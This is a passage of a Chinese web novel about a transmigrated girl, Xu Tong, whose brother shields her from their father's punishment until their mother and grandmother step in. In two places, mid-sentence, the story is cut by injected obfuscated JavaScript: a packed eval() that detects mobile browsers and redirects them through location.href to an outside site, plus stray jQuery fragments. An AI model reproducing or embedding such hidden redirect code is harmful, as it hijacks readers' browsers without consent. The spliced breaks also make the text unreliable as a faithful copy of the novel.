作为“班上”的差生代表,许曈欲哭无泪,好不容易费劲脑汁把程夫子提的问题答完了,面对程夫子似乎很是失望的神情,不敢说自己要回家的事——不管许旻有没有来接她,她都待不下去了。 然而素音回话说没有看到许旻。 许曈担心许旻是不是又被许定拘着出不来,想走又怕万一许旻真来接自己怎么办,一时之间不知道该如何是好。 等了很久,素音在外边还没等到许旻,褚先生那边倒是有人回话说遇到个好苗子,正在考校着要不要收做弟子。 众所周知,褚先生已经几年都没有再收弟子了,程夫子倒也来了兴致,加之许曈让许昀把马车带走了,如今许旻不来她也走不了,程夫子便打算带许曈往前院去——找人送她回家。 虽然是夫妻,但是男女教学毕竟有别,褚先生也授学,书塾在前院,程夫子则在后院,两头都有门,一般来说褚先生的男弟子与程夫子的女弟子轻易也碰不到。 许曈如今身子的年纪毕竟还小,还到不了男女大防的地步,程夫子带着她往前院去,倒也没多大避讳。 许曈远远地便听到了许旻的声音。 她倒是没想过他会在前院——不过如今倒也明白了,许旻不知道后院有门或者说因为他毕竟是男子,虽然年纪小但是别人也不让他往后边行,只好走了前院。 估计是因为这样,被褚先生训话呢——毕竟听传闻说褚先生……脾气不甚好,尤其讨厌人上门叨扰。 她们过去的时候,褚先生和许旻对话已经到了尾声,褚先生正在问许旻到底是谁家的孩子,回头要见一见他父母……许旻似乎想起了被家塾里的夫子跟许定告状说他顽劣逃学的情形,不管褚先生如何的一再追问,许旻就是不肯透露半句信息。 “我找错了地儿,妹妹等不到我不知道多心急呢,”许旻都快哭了:“先生您大人有大量就放过我这一次吧,我下次再不乱闯别人私宅了,您老先放我回去,我回头命小厮上门赔礼道歉。” 褚先生只是道:“天色确实是不早了,你告诉我你是谁家的,便放你走。” 许旻一脸的纠结,担心这是要上门找事的,就是不肯说——他可是怕了许定了。 “先生您便放我走吧,我本来是要去接家妹回府的,如今天都已经黑了,我连家妹的影子都没找着,”许旻声音急切而不安:“家妹年纪小胆子也小,如今看不到我不知该有多着急呢,我实在是不能再在这里耽搁下去了,回头先生要如何处置都悉听尊便,但今日我要先把家妹寻回接回家去才行。” 许曈眼看着他想跑开,知他担心自己也怕他跑了就更找不到人,连忙开口:“哥哥。” “妹妹?”许旻听到她声音,喜不自胜,跟褚先生抱歉一声之后跑到许曈身边:“妹妹你怎么找到这儿来了,是不是等我等得久了,其实我也不想的,我午后便出来的,谁知道走错了路——宝香明明告诉青砚说你是在这附近,我却怎么找都找不到,无奈之下闯了进来,还被这家的主人逮住了,如今主人要上门问罪——” “完了完了,”许旻苦着脸:“父亲要是知道了,我明天只怕就不能来接妹妹了。” 午后便出来的……许曈无语,意思是说他又逃学了,还闯了祸回去……许曈几乎能预想得到……自己只怕以后都没机会见到许旻了……一时之间,心中也有些戚戚,要知道,她来了这么久,也只有许旻是真心实意地关心她。 许旻哀叹了一会,回过神来:“妹妹怎么在这里?是不是等得不耐烦了过来寻我?也不对啊,妹妹怎么知道我在这里?” “我从后边过来的,”许曈也不明白:“哥哥你为什么在这边,不是说好了在门外等我的吗?” 许旻叹气:“我本来是要去等你的,可另一边有人拦住不让我过去,我绕了一圈,本想着这边与那边应该是相对的,便想借个道……谁知……不对,妹妹你是从后边过来的?也就是说两边根本是相通的,我根本就没找错地!” 他小心地觑了一眼褚先生,估摸着是想发火,但是又怕人真找上门去只好忍了,很快回头嘟囔道:“害我提心吊胆了半日!” “你们是兄妹?”褚先生又开口,不等他俩回答,便转向程夫子:“是谁家的?” 许旻瞬间脸更垮了。 许定给许旻造成的阴影看样子是太大了,许曈于心不忍,上前跟褚先生行礼:“哥哥是为了寻我才误闯进来的,不是有心为之,先生还请海涵,回头我们求了家中长辈向先生赔罪……只求放过我们这一次。”只要不找上门去,不让许定知道,回去告诉老夫人,许旻或许还能逃过一劫。 褚先生面色有些尴尬:“不是专程来拜师的?” 许曈想起许昤说过,褚先生最讨厌人上赶着拜师了,似乎明白褚先生为什么这么“生气”了,连忙摇头:“不是不是,当然不是了!” 许旻跟着摇头:“我就是来接妹妹回家的!” 褚先生似乎更生气了。 “好了,天色也不早了,我送你们回许家吧,”程夫子打圆场道:“顺便与你们祖母——” 许旻一脸如遭雷击的表情,抓住许曈的手:“妹妹这可怎么办啊。” 许曈其实不知道具体的情况,不过既然许旻这么担忧,她不由得也跟着忧心忡忡,向程夫子求情道:“夫子,哥哥真的是无心之失,这事情就不要告诉家中长辈了吧。” 程夫子皱眉:“这毕竟不是小事,怎由得你们自己做主总得知会你们家中长辈——” 一听说“长辈”许旻便哆嗦了一下:“不必知会长辈,我能自己做主的!” “既如此,”褚先生点头:“你明日一早便过来吧。” “嗯?”许旻摇头:“我明日一早还要去家塾呢——” “去什么家塾!”褚先生气得胡子都吹起来:“你们家塾里奉的是谁?” 许旻觉得莫名其妙,不过还是将家塾的夫子名姓告知,褚先生便安了心:“我道是谁如此大的面子,竟能让你舍了我就他——不是我口出狂言,我看你倒也还算是块璞玉,不敢普天之下,唯有我与顾长龄能将你琢成器,若你不是顾长龄座下,明日便到这来。” 程夫子闻言笑了笑:“你还别说,你今日看中的这一个,只要他想,没准还真被顾家那位收了去的。” 程夫子顿了顿:“这两个孩子是许家的。” “许家……”褚先生一时面色有些纠结,然而随即摇头:“管他是谁家。” 低头对许 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“先生莫气,”外边有一道清亮的声音响起,来人进来与褚先生与程夫子行了礼,朝程夫子道:“天色已晚,师娘也不必劳累,研恰好也要回府,顺便送许家兄妹一程吧。” 这是个比许旻身量略高,但是年纪也并不大的少年,许曈一见着他,突然就明白了小说上那什么“一见某某误终身”的说法——以许曈贫瘠的词汇量,也只能说出这小孩实在是太好看了之类没有营养的话来,以及这么小年纪都这么好看,只要是不长残了的话,长大后得多好看啊。 她看了许旻一眼,不得不承认,许旻被比下去了。 许旻见了来人似乎不怎么开心,声音闷闷的:“谢七郎。” “十一,”谢研点了点头:“我送你们回府吧。” 又朝许曈点了点头:“许九姑娘。” 他知道她,定然也是听过自己的“名声”的,不过脸上却没有别人初见她时的异样与打量,许曈不由得心中一暖,随着许旻的称呼回礼:“多谢谢七郎。” 许旻自从见了谢研便很低沉,虽然乖乖跟对方走,却也并不愿意和其亲近。 到了马车上没外人,许曈忍不住问他:“哥哥真不知道褚先生是谁吗?” 许旻点头又摇头:“一开始的确是不知道的,后来看到妹妹出来,就明白了。” 所以他其实并不是愚钝,许曈顿时明白:“那哥哥是知道褚先生的意思的?” 许旻点头,许曈倒是惊异:“那为什么不愿意?” “读书又没什么乐趣,”许旻耸肩:“何况我才不要与谢七郎同窗呢!” 许曈不太明白:“谢七郎得罪哥哥了?”如果是的话,就算谢研长得好看,许曈也打算跟许旻同仇敌忾,他讨厌的她也要讨厌……谁叫他们是兄妹呢。 许旻迟疑了一下:“那倒没有。” 见许曈不解,许旻叹气:“父亲每日都要提起谢七郎——” 许曈点头表示明白——原来谢七郎对于许旻而言,就是一个“别人家的孩子”的存在啊。 不过就因为这样就错过了褚先生,许曈也觉得不太值得,便劝道:“父亲夸他,只怕也有他拜在褚先生门下有关,哥哥若是不服气,也跟着褚先生父亲也许就不再拿哥哥与他做比较了。” “不会,”许旻似乎很了解许定:“只会有过之而无不及。” 许曈叹气:“我原还想着,哥哥跟了褚先生,我跟了程夫子,都在一处,哥哥就不必每日刻意来等我,我们每日都能一起回去了的。” “对啊,我怎么没想到这一遭!”许旻兴致也来了:“这样一来,至少每日还能见到妹妹。” 许曈有些惋惜:“但是哥哥,你方才已经回绝了褚先生。”还把褚先生气坏了,如今想回头,只怕人家还不乐意收了。 许旻明显也是想起来了,顿时扼腕:“都怪谢七郎!” 13. 013 兄长 其实谢研年岁并不大,按许旻的说法,谢研也就比许旻大了一岁而已。 以前许曈总觉得许旻少年老成,遇见谢研方知是小巫见大巫。 而且谢研好像的确是把许旻与许曈当小孩儿了,送他们回府之后,也并没有立刻离开,而是求见许显——也即许昤许曈都得称一声大哥的那个人,许家二房侯府的主人、许旻许曈三伯父许宏的嫡长子。 谢研毕竟辈份低,不可能直接直接找许宏,找同辈且成年了能说得上话的许家二房的继承人,只怕是要说正事。 许旻没耐烦与谢研周旋,不过也没故意冷待他,嘱咐下人带谢研去见许显,自己要带着许曈回她住的地。 虽然今天事多不顺,但是成功接回许曈,许旻总体而言还是开心的,拉着许曈的手:“如今我认得路了,往后每天都去接你罢。” 许曈还不待说什么,两人身后一道声音响起:“什么时辰了,可算是记得回来了!” 那声音太大,带着怒意与威压,许曈吓了一跳手抖了一下,许旻下意识地把她拉到身后护住,回头向着那人低头道:“父亲。” 父亲?传说中的小国舅许定?许曈心里估算一下,自己来到这里一个多月,第一次见到自己的“父亲”,一见面便是这种场景,画面似乎不太美。 偷偷打量了一下许定的模样,还不到三十岁,应该算是很年轻的,模样也算是好看,只是那脸色实在是太难看了,仿佛暴风雨来前黑云压城一般。 连忙学着许旻的样子朝许定行礼,却不敢开口,喊不出“父亲”那两个字,只好小心地立在一旁,屏住了呼吸。 许曈之前遇到的人,除了老夫人和许定之外,其他人对她多是比较生疏的态度,并不会管她什么。 可是眼前的许定…… 许曈很确信,许定不喜欢她,对于一个不喜欢自己的人,许曈是真的不知道应该怎么应对才好。 “我之前与你说过什么?”许定看都不看许曈一眼,只朝着许旻道:“可还记得?” “记得,”许旻的声音平缓:“父亲要我每日从书塾归来之后继续温书。” 说实话,许曈是不怎么赞同许定的方法的,许旻年纪那么小,每日要应付书塾的功课已经是没有闲暇,然而许定还要逼着他挑灯夜读——对一个小孩而言,未免太苛刻了些。 不过虽然不赞同,许曈也不敢质疑许定,只好低头不语,恨不得许定看不到自己。 续订似乎并不满意许旻的回答:“还有呢?” 许旻沉默,握紧了许曈的手,倔强地不肯回答许定的问题。 许曈莫名觉得——可能跟自己有关,许定可能不太喜欢许旻跟自己多接触,之前之所以拘着许旻,也许只是想让许旻远着许曈。 思及此,许曈试图悄悄收回手——还是尽量不要惹恼许定吧。 许旻却偏不松开,他们兄妹的小动作却被许定看见,许定看了她一眼,脸抽搐了一下,转向许旻:“还不快回去温书!” 许旻点点头,拉着许曈便要走,许定却叫住了许曈:“许曈留下。” 许曈呆住——这些日子以来,她听到不同的人对自己不同的称呼,却没想过自己的名字被一个据说是自己父亲的人,连名带姓地叫出来。 他们“父女”的感情,原是淡薄至此。 见许旻仍站在原地拉着许曈的手,许定皱了皱眉头:“怎么还不走。” “我要和妹妹一起回去,”许旻拉着许曈的手不放,迎向许定的目光:“今日之事是我自作主张,跟妹妹无关,父亲你不能罚妹妹。” 许定是打算罚她吗?许曈后知后觉,开始后怕起来,身体条件反射地朝着自己觉得安全的地方靠近,躲在了许旻身后——偷偷看了许定那脸色,说不害怕是假的。 “回去!”许定继续等着许旻:“要不我连你也一起罚。” 许旻反倒站定住了,直直地看着许定:“我跟妹妹是手足,如果要罚,自然是要一起罚的,父亲要罚什么?还有,就算要罚,也要有个因由,请问父亲,妹妹做错了什么?” 许定脸色不佳,看向许曈:“既然是手足,便该知道一荣俱荣一损俱损的道理,不说劝着你上进反而撺掇着你逃学,难道不该罚?” 许曈被那眼神给吓了一跳,想要闪躲可是许旻却是紧紧攥住她的手:“妹妹没有做错任何事,是我想见妹妹所以去接她,是我自己不愿意去书塾,与妹妹有什么关系?父亲要罚只罚我一个就好,妹妹是无辜的,不该受罚。” 许曈心中触动,可是不愿意许旻为了自己受罚,从许旻身后站出来迎向许定的目光:“父亲要罚我什么,我领罚便是。这事情跟哥哥没关系——哥哥你听父亲的话快些回去温书吧。”说着便要挣开许旻的手。 许旻却依旧坚持,又将许曈拉到自己身后,目光坚定地看向许定:“为人兄长,自然要护着妹妹,且不说妹妹没做错什么,哪怕是真的有错,那也是我这个兄长的过错,父亲不用为难妹妹,要罚什么,我这个做兄长的一并领了就是了。” 许旻倔强地直视许定,攥住许曈的那只手却依旧用力,半步不让。 他的手掌温暖而有力,许曈突然觉得,也许在许旻心里,对许定其实不是没有不满的。 而那不满,似乎是因为许定长久以来对许曈这个人的忽视、不喜日积月累下来的。 即使之前的许曈是别人口中的傻子疯子,只因她是他的妹妹,所以他还是愿意护着她,即使别人都不管她,他还是把她当成自己的妹妹,可以说,如果没有许旻,可能原来的许曈早就死了,不会活到她来的那一天。 许曈心内突然涌出浓浓的感动,可是感动过后,却是深深的愧疚。 她不是许曈,她不是原来的许曈,她只是一个借居者,她只是一个占据了原本的许曈的身体的异世的灵魂,她是个卑鄙的掠夺者。 她不配许旻这般护她的。 许曈张了张嘴,终究还是闭上。 其实这么多天以来,她依旧觉得自己与这个时代没有归属感,虽然没有说出来——她也没有人可以说——如果可以,她还是想要回去的,回去自己的时代,自己熟悉的时代,呆在自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142875|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己想要呆在的人的身边。 她虽然一直喊许旻“哥哥”,可是其实心里只是把他当成一个小孩子或者说萌宠罢了,讨好他,逗弄他,宠着他,依赖他——可是这一刻,许曈突然觉得有这么一个哥哥,其实感觉还不错。 不管别人怎么样,至少她还有一个兄长,这个少年其实比她大不了几岁,却愿意为她遮风挡雨,护她无虞,他肩膀虽瘦弱,却仍是想为她遮风挡雨想成为她的依靠。 她可以一走了之,可是如果她死了,作为“许曈”存在的这个人死了,对于许旻来说,又会是什么样的打击呢? 她不敢想,不愿意想。 这个时代,第一次让她有了家的感觉,因为许旻。 她第一次觉得留在这个时代其实也不错,因为有许旻。 她想要留下来,好好扮演许曈的角色,好好扮演许旻的妹妹。 所以,她不能让许旻因为她受罚。 许曈使劲挣开许旻的手,迎向许定:“父亲你要罚便罚我吧,跟哥哥没关系——哥哥你先回去吧,你还要温书呢。” 即使她并不觉得自己错在哪里,可是她愿意妥协。 愿意为了许旻妥协。 许旻连忙过来拉她,继续和许定辩解着,许曈却是看着他笑——有一个哥哥,真好。 许定的气似乎还是未消,此刻被许旻弄得心烦:“别吵了,你们两个都给我到书房里跪着。” 终究还是两人受罚啊……许曈有些无奈,许旻却还是想要跟许定争取着,奈何许定此刻似乎是铁了心,原本或许只是打算罚许曈便罢,许旻的顶撞触犯了他的权威,所以连许旻也一起罚了。 古代的大家长制度真是害死人,许曈无奈,拦住许旻不让他再为自己求情:“哥哥我没事的。” “怎么没事?怎么会没事!”许旻依旧是担忧不已:“妹妹的身子哪里能受罚!” 其实她过来之后身体一直很好,没病没灾的啊,许曈无奈地摇摇头,见他仍打算上前与许定理论,连忙拉住他:“哥哥,我们还是不要再惹父亲了吧。” “他——”许旻张了张嘴,似乎是想表达对许定长久以来不理睬许曈好不容易见着一次便要处罚许曈的不满,可到底许定还是长辈,他作为晚辈作为儿子并不好指责许定什么,所以只能把心中的不满咽下,转向安慰许曈:“妹妹你别怕。” “没什么好怕的的。”许曈笑笑,有这么一个哥哥在,就算前边是熔岩荆棘,也觉得无所畏惧。 “妹妹走慢些,”许旻将大步向前的许曈拉回来,悄声对她道:“不用太着急的。” 许曈听话将脚步放缓,回头看了看身后,了然地朝着许旻一笑—— 她以为许旻是那种愚孝之人,对于许定完全没有办法,原来不是,他还是懂得变通的。 许曈再次感叹,自己运气其实不坏,遇见许旻这个哥哥,真是不幸中的万幸。 她心内暗自下了决定,以后无论如何,都要对许旻好好的,不做任何对许旻不利的事情,就凭着他对她的爱护,就凭着今日他们同甘共苦。 14. 014 父母 许曈料到了许旻是通知了老夫人,到了许定的书房,许定还没想好要怎么罚他俩,便听得外边一阵喧哗,只可惜等来的不是老夫人,而是一个年轻妇人。 比花姨娘年轻些,和沈姨娘差不多的年纪,看衣物的样式却是好一些,听许旻朝那人低头道“母亲”的时候,许曈终于回过神来——她今天走的什么运,这么久没见到这身体的生身父母,今天倒好,一次见全了——许定的正妻、许旻和许曈的生母杜沅名沅。 这些日子从傅容萱她们那里许曈总算搞清楚了自己不受宠的原因。 许定这人在外名头很响,出去说声“小国舅”就没人不知道的,但偏偏并不是什么好名声。 其实即使许定是国舅,杜家也是看不上的,何况许定这人名声又不怎么好。 杜家、谢家、季家、傅家都是差不多的情况,婚姻更愿意找相似的人家结亲,甚少与皇室、宗亲、勋贵联姻,只是昔年阴差阳错之下,杜沅的堂姐入宫做了婕妤,后来杜婕妤犯事,杜家怕被牵连,找许宁求情,许宁顺手便为自己幼弟求亲,杜家虽然不愿,但是为求安稳,到底是将杜沅嫁到了许家。 所以两人的结合其实是一场许宁看似网开一面其实是别有私心的包办婚姻。 杜家门风清正,许昤之前说许家三房不纳妾,学的便是杜家谢家等的规矩,出生在这样的人家,杜沅自然是觉得男子不纳妾是常事,结果许定这人不安分,还没成亲之前便有一个妾在前——也即花姨娘,花姨娘是自小照顾许定的丫鬟,不知怎的便与许定有了首尾,许定名声不好和这事情也有关系,大户人家很忌讳还未成亲身边便纳了通房或侍妾的,因为万一一个不小心生出个庶长子来,很打正妻的颜面,奈何许定自小与花姨娘亲密,老夫人要罚花姨娘到底是被许定给护着了。 杜沅一开始就嫁得不大情愿,嫁过来之后花姨娘仗着自己与许定昔日情分多少有些恃宠而骄,但是好在许定的长子是许旻,杜沅便睁只眼算了,谁料到杜沅怀着许曈的时候,花姨娘到底是出了事,快临盆时杜沅发现花姨娘也大着个肚子,气从心来不足月便生下许曈,这还便罢了,许曈长大之后被发现是个傻子,杜沅便生生恨上了许定和花姨娘,顺便的就不怎么理会许曈,许曈是老夫人让人带大的。 那之后,杜沅和许定之间便不太和睦,而许定之后死性不改,收了沈姨娘和方姨娘——夫妻二人更是势同水火。 换个方法说,许曈是两人矛盾激化的导火索,是两人婚姻失败的见证品,偏偏这个时代离婚的人少之又少,那两人再怎么互看不爽,也只不过是眼不见心不烦罢了,婚姻关系始终还是维系着,不能撕破脸,于是许曈被忽略便成了理所当然——这好像也是这夫妻二人唯一的共识似的。 杜沅不喜欢许曈大概是因为看到她便想起许定和花姨娘的背叛,至于许定……谁知道他怎么想的,许曈可不觉得许定是因为对自己心怀愧疚—— 要是的话,也不至于一见面便要罚她了。 许曈明白自己只怕是逃不了被惩罚的命运了,但是杜沅来了,或许许旻可以逃开一劫——这样就足够了。 杜沅一进来一眼便看到跪在地上的许旻,看都不看许定:“怎么回事?” 许定默然不语,杜沅也不理他,转向许旻:“十一跟我回去。” 许定怒:“我还没有说让他们走呢。” 杜沅终于理会许定,声音平和却不容拒绝:“我让他跟我回去。” 她脾气似乎上来了:“我告诉你许定,我儿子轮不到你来处罚,要处罚去罚你儿子去!” 果然许定的脾气也跟着上来了:“十一也是我儿子。” 杜沅乜斜他一眼,懒得搭理他,许定失了面子妥协道:“十一你带走。” 许旻固执地跪在那里:“我要和妹妹一起。” 杜沅这才注意到许旻身边的人:“许曈?”她脸色似乎有些微妙。 许曈低下头,细声应道:“母亲。”这也是个连名带姓唤自己的人,许曈只能感叹,在这一点上,他们不愧是夫妻。 杜沅看了看两人,嘴角微动,终究是开口:“你们两个都随我回去。” 其实这事情说大不大,说小不小,但是今天许定一连着被反驳,估计是觉得丢了里子又丢了面子,有些抹不开,见许旻和杜沅要反抗自己权威,周围下人都低着头看笑话看得习以为常——不由得便有些发怒:“他们两个哪里都不能去,先跪上两个时辰再说。” 杜沅似笑非笑:“你说什么?” 许定对杜沅似乎有些敬怕,却还是梗着脖子道:“妇道人家别管那么多,殊不知慈母多败儿,你总不能时时护着他。” 杜沅冷笑道:“我偏就要护着他了怎么了?” “慈母多败儿这句话可真是没错,”杜沅继续乜斜着许定:“你倒是有自知之明,不过这些话最好不要让婆婆知道,要不她定是会伤心的。我们做儿女的,总不能背后编排长辈的不是。”说着一脸的郑重其事。 许曈忍得很辛苦才能勉强不笑出来,一张脸涨得通红——这杜沅,讲话可真是一针见血。 杜沅似乎很明白许定的逆鳞在哪里,然后去撩拨一下,许定果然又开始生气了:“夫人你讲话可真中听。”许定纨绔子弟的名头可不是白来的,虽然后来做了官,但是到底不是正经科举考来的,而是靠了祖荫靠了自己那个皇后姐姐还有花了许家一大笔钱财买来的,而且至今品级还不怎么上得去,像许家这种情况虽然未必要靠做官那点俸禄养家,但是说出去毕竟是有些丢人的,因此听说许定最厌烦别人说他没出息之类的话了。 奈何杜沅偏要曲解掉他话里的意味:“夫君也觉得中听?那以后我多讲给夫君听?” 许曈顿时莫名崇拜杜沅——至少她可以肯定,今天这受罚之事,许定只怕是难以如愿了。 不过她挺不明白的,杜沅怎么看也不是逆来顺受的小媳妇,怎么会让花姨娘那么嚣张,之前许曈以为杜沅是个柔柔弱弱、自小养在深闺的贵族小姐,所以才会退居二线让花姨娘横行,而今看来是非我不能而是我不愿罢了——随即想到杜沅轻易不出山与许定对上,今天过来应该是因为许定也触到了杜沅的逆鳞——许旻。 古代女子的成就无非夫荣子孝说白了就是奔着诰命去的,许定她是不指望了——许定本来就没有继承爵位 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15142876|164563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的资格,官场上又不顺遂,只把希望放在了许旻身上,或者说其实她早就看透了许定这个人、放弃了许定这个人,许定之前逼着许旻温书她不插手,许定要处罚许旻她却是肯定要插手的——她唯一的希望就是这个儿子了怎么可能让许定罚坏了。 先后被自己妻儿下脸的许定此刻神色十分不好,沉声对跪在地上的两人道:“都给我跪着,我没说起来谁都不准起来。” 杜沅不高兴了:“少在孩子面前耍威风,十一咱们走……许——阿曈也一起回去。”说到许曈的时候,语气明显有些生疏和僵硬。 可是不管是许曈还是许旻,都不敢起来。 杜沅敢跟许定翻脸,可是杜沅虽然厉害,但威压到底还是不如许定,他们要是跟杜沅走了,这事情还是没有解决,除非来个能镇压许定的人,否则这事情只怕是没完。 因此许旻依旧拉着许曈跪着:“是儿子的错,与妹妹无关,父亲要罚便罚我好了,不要为难妹妹。” “他敢!”杜沅索性不走了,在许定对面落座,也不看许定:“不知你打算怎么处罚他们?” 许定抬眼见杜沅气定神闲的模样似乎料定了他不敢动手,心中实在是厌烦极了,挥一挥手:“子不教父之过,所以我现在要好好教养孩子——先打几下板子长长记性,看以后还敢不敢这般了。” “子不教父之过,”杜沅咂摸着这句话,继续气定神闲:“夫君真有自知之明,可是啊,我的孩子我可是教养好了的,夫君要是自责,可以回去教教许晢。” “这事儿跟十四有什么关系?”许定瞪向杜沅:“一码归一码,夫人不要搀和。” “一码归一码,”杜沅指了指许曈:“那阿曈的事就这么算了?” 杜沅笑:“夫君可真是不偏不失呢。” “事有轻重缓急,亦有先来后到——”杜沅扬眉:“夫君若是公正,就先把许晢那事情了了吧,免得阿曈本就委屈,再要受罚,可让人不得不怀疑夫君太过于偏心了。” “十四我已经罚过了,”许定看向杜沅:“夫人又要挑起此事吗?” “就那么着就算罚过了?”杜沅冷笑:“你的儿子娇贵,我的孩子就不娇贵了?且不论嫡庶有别,单说不敬长姐想要害死长姐这一点就不可以原谅。” 许曈在一旁听得心惊胆战——这杜沅突然冒将居然是要帮她出气,今天的太阳是打西边出来的吧? “十四还小呢,再说说什么我的孩子你的孩子,不都是我们的孩子?”许定对于杜沅的态度似乎十分不赞同:“作为正妻嫡母夫人也太小题大做了些?” “小题大做?”杜沅继续冷笑:“三岁看老,许晢也不止三岁了吧,小小年纪便如此狠心,也不知道是谁教养出来的,真真是恶毒。” 许定怒:“你待要如何,一起罚是吧?” 杜沅似笑非笑,许定挂不住:“好啊,来人去把十四带过来。” 外边的人赶忙去了,杜沅似笑非笑地坐在那里:“如此方才像话,夫君是他们的父亲是他们的天,夫君自己‘以身作则’,孩子们有样学样,这才像话,否则,外人提起,只会觉得是上梁不正下梁歪。” 15. 015 许晢 见许定命人去将许晢带来,达成所愿之后杜沅便又懒得搭理许定了。 不一会儿花姨娘便哭哭啼啼地带着许晢过来了,许曈第一次见到许晢这人,一团孩子气,似乎被吓着了,死死抓住花姨娘的袖口不放。 花姨娘小心作低迎向许定和杜沅:“不知道爷和夫人叫我们娘俩来,究竟是为何事?” 杜沅斜了花姨娘一眼:“我有叫你进来吗?夫君有叫你进来吗?” 花姨娘脸抽搐了一下,转向许定:“爷——” “啪——” 突然听得一声巨响,众人都动了一下,却是杜沅摔了杯子:“放肆!” 她迎向花姨娘:“姨娘懂不懂规矩?主子还没叫唤就先进来,还不快滚出去!” 花姨娘眼皮子跳了一下,看了许定一眼见许定没有发言只好转身退下,奈何许晢被吓着了,死死拉住花姨娘的手不肯放。 花姨娘为难的迎向许定:“爷你看这——” 杜沅看了自己带来的人一眼,立刻有妈妈上前把许晢拉开,花姨娘赶忙拉住许晢:“你们这是要干嘛?” “娘——”许晢奶声奶气地哭喊,死死攥住花姨娘的手不放。 “阿晢!”花姨娘也不肯放手,看着杜沅:“夫人你这是要做什么!” “放肆!”杜沅抬起下巴:“阿晢也是你可以叫的?是你让许晢管你叫‘娘’的?” 杜沅冷笑:“我原不知你有这么大的心。” 花姨娘顿时懵了。 许曈来这里也不算久,不过大致了解周围人相互之间的称呼。 下对上要称呼身份,比如丫鬟们口中对主子要称“爷”“夫人”“少爷”“小姐”,这一点是无论如何都不能逾越的,所以花姨娘虽然是许晢的生母,可是姨娘的身份不够,许晢按理只能唤她姨娘,不能叫娘的。主子之间表亲昵关系的时候,长辈对晚辈或者同辈之间年岁稍长的对年纪小的可以称呼其名或者以排序代之——但是姨娘不行,嫡庶有别,即使是生母,姨娘也只是妾只是婢,所以同样是姨娘,沈姨娘她们就会唤许晢和许曈“十四少爷”和“九小姐”绝对不敢逾矩的,况且,沈姨娘和方姨娘还是外头来的,比花姨娘直接从丫鬟升上姨娘的身份来的稍微好那么一些,沈姨娘她们都不敢逾矩,偏偏花姨娘敢,由不得杜沅不生气。 花姨娘到底还是不笨的,自然知道杜沅此刻不能惹,踟蹰了一会方才小声道:“那奴婢出去了,老爷……夫人若是有事,叫唤奴婢一声。” “娘!”许晢顿时撕心裂肺哭喊起来,花姨娘却是在接受到杜沅冷笑的眼神之后再不敢停留,赶忙撇开许晢的手退出去了。 立刻有人将许晢拉住,指着杜沅道:“十四少爷的母亲在这边呢,姨娘只是出去了一会,七少爷别急啊。” 许曈悄悄抬头,见花姨娘眼角抽动,再看杜沅一脸不耐烦,连忙又低下头不敢乱动。 依着杜沅的心性,未必愿意听许晢唤她母亲,就是想气气花姨娘罢了。 “十四年纪小,”许定果然吃许晢那一套,回头与杜沅协商道:“便不要罚了吧?” 杜沅冷笑:“阿曈比许晢可大不了几个月。”她此生最恨的便是花姨娘趁她有孕怀了子嗣,而且许定还帮忙隐瞒着——否则也不至于让她早产生下许曈,许曈后来的不好,她和许定的不好,她可都是记在花姨娘身上呢。 许定便不敢再言语,又见许晢依旧在哭闹,便有些厌烦:“还不快过去跪着,男子汉哭哭啼啼像什么话!” 又转向杜沅:“三人一道责罚?” 杜沅冷笑:“事有先来后到,先将许晢把阿曈推下水这事情给了结了再议其他。” 许定定定地看向杜沅,见她一脸坚决不似作伪,又见花姨娘在门外一脸哀求,到底是软了下来:“算了,小孩子不经事,这件事便揭过吧。” “正因为小孩子不经事所以才要让他们长记性!”杜沅一脸决断:“罚,都罚!不止许晢,十一和阿曈也要罚,罚完许晢,十一和阿曈也逃不掉!为人兄长姐姐的,当然是要以身作则。” 许定无言,虎着脸朝着拿板子的仆妇道:“去把晢哥儿嘴巴先堵住免得他哭号——” “爷——”花姨娘在外边跪下:“阿晢——十四少爷年纪还小,可受不住这惩罚——夫人你便大人有大量,别和小孩子计较——” “姨娘这说的是什么话!”杜沅一拍桌子:“我与夫君在教子,有你说话的份吗?你要求情,难不成你想代替他们受罚?” “打奴婢吧打奴婢吧!”花姨娘连忙表白道:“奴婢受得住!十四少爷还小呢,只求夫人不要责罚他——之前老爷已经罚过——”花姨娘的求饶随着杜沅摔杯子的声音戛然而止。 杜沅端坐在上方:“许晢虽小,也到了该懂事的年纪了,什么事能做什么事不能做,也要有个辨白的能力——今日是他们三人一道受罚,若是放过了许晢,便会让他心生侥幸之感,以后变本加厉为所欲为到那时杀人放火姨娘是不是也要帮着他偿命?” “咱家已经了出个纨绔子弟,可不能再添个杀人放火的凶徒,”杜沅冷笑着看着许定:“夫君你说是不是?” 许定再度吃瘪,也不叫仆妇动手了,自己抄起板子便要往许晢身上打去。 花姨娘的哭号声顿时又起,许晢虽然被封住了嘴巴,可是还是被吓到不行,呜呜哇哇的,脸涨得通红,眼泪也一直流。 许曈眼皮儿发跳——真的要打人啊? “慢着——” 一道苍老的声音在外边响起:“闹什么闹呢?” 许曈顿时安了心,老夫人来了,这场闹剧也该收场了。 许定心有余悸,看了看杜沅,似乎要等杜沅出丑,杜沅却是一脸的镇定,让人奉了茶,气定神闲地喝了一口,这才上前去扶住老夫人:“婆婆你可来了,再不来,媳妇儿可拖不下去啦!” 原来是老夫人叫她过来拖延时间的。 老夫人似笑非笑地看着她,并不说话。 